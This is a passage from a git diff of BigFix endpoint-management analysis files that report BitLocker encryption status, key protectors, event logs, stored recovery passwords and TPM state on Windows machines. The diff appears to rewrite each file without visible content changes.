-    <Property ID="1" Name="Bitlocker - TPM Protected - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;-&quot; of name of it , concatenation &quot;&quot; of substrings separated by &quot;%00&quot; of (lines of it as string) contains &quot;TPM&quot;) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
-    <Property ID="2" Name="Bitlocker - Recovery Password Enabled - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;-&quot; of name of it , concatenation &quot;&quot; of substrings separated by &quot;%00&quot; of (lines of it as string) contains &quot;Numerical Password&quot;) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Key Protectors - Windows
+  ID       : 2998300
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:02:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Key Protectors - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides the key protectors protecting each bitlocker encrypted volume.</P>
+<P>This analysis relies on the information provided by the <STRONG>Fixlet: Invoke - Bitlocker Configuration Probe - Windows</STRONG></P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists files whose (name of it contains &quot;Status&quot;) of folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bitlocker - TPM Protected - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;-&quot; of name of it , concatenation &quot;&quot; of substrings separated by &quot;%00&quot; of (lines of it as string) contains &quot;TPM&quot;) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+    <Property ID="2" Name="Bitlocker - Recovery Password Enabled - Windows" EvaluationPeriod="PT1H">(preceding text of first &quot;-&quot; of name of it , concatenation &quot;&quot; of substrings separated by &quot;%00&quot; of (lines of it as string) contains &quot;Numerical Password&quot;) of files whose (Name of it contains &quot;Status&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Logs - Windows (2998437).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Logs - Windows (2998437).bes
index bfa6af47e..984ab3ebb 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Logs - Windows (2998437).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Logs - Windows (2998437).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Bitlocker - Logs - Windows
-  ID       : 2998437
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-29T11:24:51
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Bitlocker - Logs - Windows</Title>
-    <Description><![CDATA[<P>Provides logs from the system event log related to Bitlocker</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if (exists WMI &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) then true else false</Relevance>
-    <Relevance>exists (tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;) whose (it = &quot;Protection On&quot;)</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Bitlocker - Encryption Event Log - Windows" EvaluationPeriod="PT6H">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase) of system event log</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Logs - Windows
+  ID       : 2998437
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-29T11:24:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Logs - Windows</Title>
+    <Description><![CDATA[<P>Provides logs from the system event log related to Bitlocker</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if (exists WMI &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) then true else false</Relevance>
+    <Relevance>exists (tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;) whose (it = &quot;Protection On&quot;)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bitlocker - Encryption Event Log - Windows" EvaluationPeriod="PT6H">(time generated of it, description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it as lowercase = &quot;Microsoft-Windows-BitLocker-Driver&quot; as lowercase) of system event log</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Recovery Password - Windows (2998160).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Recovery Password - Windows (2998160).bes
index f5c085990..c0e53f198 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Recovery Password - Windows (2998160).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - Recovery Password - Windows (2998160).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Bitlocker - Recovery Password - Windows
-  ID       : 2998160
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-31T16:40:35
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Bitlocker - Recovery Password - Windows</Title>
-    <Description><![CDATA[<P>Provides the recovery password for locally encrypted bitlocker drives configured to use a recovery password. This is separate from a pin or password -- a recovery password is a hard-coded value that allows a technician to unlock the drive.</P>
-<P>This analysis requires <STRONG>Fixlet: Invoke - Bitlocker Recovery Password Probe - Windows </STRONG>to be run on the device before it can retrieve the recovery password.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists (file whose (name of it contains &quot;RecoveryPwd&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client) or (exists file &quot;Enable.log&quot; of folder &quot;__Global\Bitlocker&quot; of data folder of client)</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Bitlocker - Recovery Password - Windows">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it | line 1 of it) of files whose (Name of it contains &quot;RecoveryPwd.txt&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
-    <Property ID="2" Name="Bitlocker - Previous Recovery Passwords - Windows">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, modification time of it, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it | line 1 of it) of files whose (Name of it contains &quot;-RecoveryPwd-&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - Recovery Password - Windows
+  ID       : 2998160
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-31T16:40:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - Recovery Password - Windows</Title>
+    <Description><![CDATA[<P>Provides the recovery password for locally encrypted bitlocker drives configured to use a recovery password. This is separate from a pin or password -- a recovery password is a hard-coded value that allows a technician to unlock the drive.</P>
+<P>This analysis requires <STRONG>Fixlet: Invoke - Bitlocker Recovery Password Probe - Windows </STRONG>to be run on the device before it can retrieve the recovery password.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (file whose (name of it contains &quot;RecoveryPwd&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client) or (exists file &quot;Enable.log&quot; of folder &quot;__Global\Bitlocker&quot; of data folder of client)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Bitlocker - Recovery Password - Windows">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it | line 1 of it) of files whose (Name of it contains &quot;RecoveryPwd.txt&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+    <Property ID="2" Name="Bitlocker - Previous Recovery Passwords - Windows">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, modification time of it, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it | line 1 of it) of files whose (Name of it contains &quot;-RecoveryPwd-&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998637).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998637).bes
index 5bfbe073c..3555dc969 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998637).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998637).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Bitlocker - TPM Status
-  ID       : 2998637
-  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
-  Domain   : BESC
-  Imported : 2021-05-19T11:04:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Bitlocker - TPM Status</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 19 Mar 2020 12:25:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="PT0S">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
-    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="PT0S">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - TPM Status
+  ID       : 2998637
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2021-05-19T11:04:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - TPM Status</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 19 Mar 2020 12:25:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="PT0S">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
+    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="PT0S">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998646).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998646).bes
index a283e25cf..b2953731d 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998646).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker - TPM Status (2998646).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Bitlocker - TPM Status
-  ID       : 2998646
-  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
-  Domain   : BESC
-  Imported : 2021-09-09T13:06:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Bitlocker - TPM Status</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 19 Mar 2020 12:25:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
-    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="PT0S">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
-    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="PT0S">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker - TPM Status
+  ID       : 2998646
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2021-09-09T13:06:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker - TPM Status</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 19 Mar 2020 12:25:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="PT0S">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="PT0S">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
+    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="PT0S">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Bitlocker Info - Windows (2994754).bes b/Sites/Windows Management/Fixlets/Analyses/Bitlocker Info - Windows (2994754).bes
index 891601dfb..ff8953cfa 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Bitlocker Info - Windows (2994754).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Bitlocker Info - Windows (2994754).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Bitlocker Info - Windows
-  ID       : 2994754
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-12-12T08:21:09
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Bitlocker Info - Windows</Title>
-    <Description><![CDATA[<P>&nbsp;</P>
-<P>&nbsp;</P>
-<P><STRONG>References:</STRONG></P>
-<P><A href="https://en.wikipedia.org/wiki/BitLocker">https://en.wikipedia.org/wiki/BitLocker</A></P>
-<P><A href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa376483(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/aa376483(v=vs.85).aspx</A></P>
-<P><A href="http://msdn.microsoft.com/en-us/library/aa376433(v=VS.85).aspx">http://msdn.microsoft.com/en-us/library/aa376433(v=VS.85).aspx</A></P>
-<P><A href="http://www.normanbauer.com/2010/09/28/how-to-get-some-information-on-bitlocker-using-vbscript-and-wmi/">http://www.normanbauer.com/2010/09/28/how-to-get-some-information-on-bitlocker-using-vbscript-and-wmi/</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 12 Dec 2014 15:10:49 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="MicrosoftVolumeEncryption available?" EvaluationPeriod="PT12H">(exists WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
-    <Property ID="2" Name="# of Bitlocker available disks?" EvaluationPeriod="PT12H">number of select objects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
-    <Property ID="3" Name="OS Should Support BitLocker?" EvaluationPeriod="PT12H">(windows of operating system) AND (version of operating system &gt;= &quot;6.0&quot;) AND (( exists product info string whose(it ends with &quot;Enterprise&quot; OR it ends with &quot;Ultimate&quot; OR it ends with &quot;Server Datacenter&quot;) of operating system ) OR ( (version of operating system &gt;= &quot;6.2&quot;) AND (exists product info string whose(it ends with &quot;Business&quot;) of operating system) ))</Property>
-    <Property ID="4" Name="* from win32_EncryptableVolume" EvaluationPeriod="PT12H">selects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
-    <Property ID="5" Name="# of encrypted volumes?" EvaluationPeriod="PT12H">number of integer values whose(it = 1) of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
-    <Property ID="6" Name="ProtectionStatus" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;</Property>
-    <Property ID="7" Name="EncryptionMethod" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;EncryptionMethod&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;N/A, AES 128 With Diffuser, AES 256 With Diffuser, AES 128, AES 256&quot;</Property>
-    <Property ID="8" Name="ConversionStatus" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;ConversionStatus&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Fully Decrypted, Fully Encrypted, Encryption In Progress, Decryption In Progress, Encryption Paused, Decryption Paused&quot;</Property>
-    <Property ID="9" Name="VolumeType" EvaluationPeriod="PT12H">(selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;VolumeType&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
-    <Property ID="10" Name="IsVolumeInitializedForProtection" EvaluationPeriod="PT12H">(string values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;IsVolumeInitializedForProtection&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
-    <Property ID="11" Name="Incorrect Values" EvaluationPeriod="PT12H">selects (&quot;* from win32_EncryptableVolume&quot;) whose( (integer value of it &lt; 0) AND (name of it != &quot;IsVolumeInitializedForProtection&quot;) ) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Bitlocker Info - Windows
+  ID       : 2994754
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-12-12T08:21:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Bitlocker Info - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="https://en.wikipedia.org/wiki/BitLocker">https://en.wikipedia.org/wiki/BitLocker</A></P>
